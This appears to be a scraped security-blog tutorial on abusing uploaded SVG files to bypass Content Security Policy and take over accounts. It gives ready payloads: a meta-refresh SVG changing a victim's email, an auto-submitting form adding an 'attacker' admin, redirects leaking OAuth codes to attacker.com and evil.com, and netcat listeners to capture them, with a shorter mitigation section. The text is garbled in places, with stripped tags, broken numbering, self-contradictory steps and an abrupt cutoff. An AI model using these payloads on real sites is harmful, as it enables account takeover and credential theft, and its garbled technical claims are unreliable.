SVG SILENT TAKEOVER: How Hackers Abuse Vector Graphics to Bypass CSP and Steal Accounts (No JavaScript Needed) + Video

Listen to this Post

Featured Image

Introduction:

Scalable Vector Graphics (SVG) are XML-based image formats widely supported in modern web applications. While developers often rely on Content Security Policy (CSP) to block cross-site scripting (XSS), SVGs can host malicious elements—such as external entity references, embedded forms, or meta refresh tags—that trigger state-changing requests without executing a single line of JavaScript. This attack vector enables account takeover by tricking authenticated users into performing unintended actions, effectively nullifying CSP that blocks inline scripts but permits image uploads.

Learning Objectives:

  • Understand how SVG files can bypass CSP restrictions and deliver blind request‑forgery attacks.
  • Learn to craft malicious SVG payloads for account takeover via CSRF and session‑riding techniques.
  • Implement detection and mitigation strategies including strict MIME validation, sandboxed SVG rendering, and CSP upgrade directives.

You Should Know:

  1. Anatomy of a Malicious SVG – Leveraging External Entities and Meta Refresh
    SVG is an XML dialect; therefore, it supports features like <foreignObject>, `` (blocked by CSP), but also `` and `xmlns:xlink` with external references. The most powerful non‑JavaScript takeover method uses a `` tag embedded inside an SVG to perform an instant HTTP redirect or auto‑submitting form.

Step‑by‑step guide:

  • Create a plain text file named `takeover.svg` with the following content:
    <?xml version="1.0" encoding="UTF-8"?></li>
    </ul>
    
    <svg xmlns="http://www.w3.org/2000/svg">
    <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
    <meta http-equiv="refresh" content="0; url=https://victim.com/api/[email protected]" />
    </div>
    </foreignObject>
    </svg>
    
    

    – Upload the SVG to any profile picture or file upload feature that does not sanitize SVG content.
    – When an administrator or victim views the image (e.g., in a message preview, avatar gallery), the browser follows the meta refresh, sending authenticated request to change email address.
    – On Linux, test your SVG with: curl -X POST -F "[email protected]" https://target.com/upload`
    - On Windows PowerShell: `Invoke-RestMethod -Uri https://target.com/upload -Method Post -Form @{file= Get-Item -Path .\takeover.svg }`

    2. CSRF in Disguise – Abusing SVG as a Form‑Auto‑Submitter
    Even if meta refresh is filtered, SVG’s `` can host a full HTML form with `onsubmit` or use JavaScript‑free auto‑submit via
    body onload`. Because the browser renders SVG inside an HTML context, any form inside will submit cookies naturally.

    Step‑by‑step guide:

    • Craft an SVG that contains a hidden form targeting a sensitive endpoint (password reset, adding SSH keys, changing security questions).
      </li>
      </ul>
      
      <svg xmlns="http://www.w3.org/2000/svg">
      <foreignObject width="100%" height="100%">
      <html xmlns="http://www.w3.org/1999/xhtml">
      <body onload="document.forms[bash].submit()">
      <form action="https://target.com/settings/add-admin" method="POST">
      <input name="username" value="attacker" />
      </form>
      </body>
      </html>
      </foreignObject>
      </svg>
      
      

      – Because CSP often does not block `onload` inside `` (as it is not considered JavaScript execution in some policies), this works. Use a hardened version: embed the form as base64 inside an href? Better: use `meta refresh` with data URI.
      – Validate on Linux with `python3 -m http.server 8000` and host the SVG, then use `curl –cookie-jar cookies.txt` to simulate victim session.
      – On Windows, use Burp Suite’s Repeater: save SVG payload, then repeat the upload request.

      1. Bypassing CSP with SVG External References (SVG + Fonts / CSS)
        A strict CSP that disallows `unsafe-inline` and `unsafe-eval` does not block loading external resources via `` or via CSS `@import` inside a `

        ` – the browser will make a request without JS.
        - Mitigation: Set `font-src 'none'` and `style-src 'unsafe-inline'` carefully. On servers, use `Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` which still allows CSS url requests.
        - Test using `curl -I https://target.com | grep -i content-security-policy` to audit missing font/src restrictions.

        4. Account Takeover via SVG + OAuth Misconfiguration

        When an application allows SVG upload in OAuth profile fields (e.g., user avatar in Identity Provider), the rendered SVG in the IdP’s approval page can redirect to an attacker‑controlled callback with a valid authorization code. This leads to full account takeover without any XSS – the user is simply redirected after authorizing.

        Step‑by‑step guide:

        • Intercept the OAuth flow and upload an SVG to the user’s profile image endpoint.
        • SVG contains a meta refresh to `https://attacker.com/callback?code=LEAKED_CODE` – but the code is not known. Instead, redirect to a page that waits for the auth code via referrer or use a data URI that reads location.hash.
        • Because redirects preserve OAuth parameters in the URL, an attacker can set:
          <meta http-equiv="refresh" content="0; url=https://attacker.com/steal?code=${window.location.href}" />
          
        • Without JavaScript, you cannot read window.location. However, if the page has a `postMessage` or the redirect goes to an attacker domain that logs the full URL (including the code in query string), the victim’s browser sends the Referer header containing the code. The attacker’s server logs it.
        • On attacker server (Linux): `nc -lnvp 80` or `python3 -m http.server` to capture the incoming request with the OAuth code.
        • Windows: Use `netcat` for Windows or start a simple HTTP listener with npx http-server.
        1. Mitigation – Hardening Image Uploads Against SVG‑Based CSRF
          To prevent these attacks, applications must treat SVG as executable content. The safest approach is to convert uploaded SVGs to a neutral format (PNG) or serve them from a separate sandboxed domain with `Content-Disposition: attachment` and no cookies.

        Step‑by‑step guide:

        • On a Linux web server (Apache/Nginx), configure to serve all uploaded SVG files with `X-Content-Type-Options: nosniff` and Content-Security-Policy: sandbox; default-src 'none'.
        • Ingress rule example for Nginx:
          location ~ .svg$ {
          add_header Content-Security-Policy "sandbox; default-src 'none';";
          add_header X-Content-Type-Options "nosniff";
          }
          
        • For Windows IIS: Use URL Rewrite module to add custom headers for .svg files.
        • Implement server‑side SVG sanitization: Use `svg-sanitizer` (PHP) or `defang` library in Python:
          from defang import defang_svg
          with open("upload.svg","r") as f:
          safe = defang_svg(f.read())
          
        • Log all SVG upload attempts with `inotify` on Linux to detect anomalies: `inotifywait -m /var/www/uploads -e create | grep '\.svg$'`
          - For cloud hardening: AWS WAF can block SVG containing `meta http-equiv` using regex pattern: (?i)<meta[^>]http-equiv=["']?refresh.
        1. Advanced – SVG as a Data Exfiltration Channel Without JS
          Even without redirects or forms, SVG can exfiltrate data using `` with an external URL that embeds a CSRF token from the page’s DOM. This works if the SVG is rendered in an environment where the token is present as an attribute (e.g., data-csrf="TOKEN").

        Step‑by‑step guide:

        • Inject an SVG that attempts to load an image from `https://evil.com/leak?value=` – but the value must be dynamically read. Without JS, you cannot read DOM. However, if the application echoes user‑controlled data directly into the `src` attribute of an image inside the SVG, that becomes possible.
        • Better: Use SVG’s `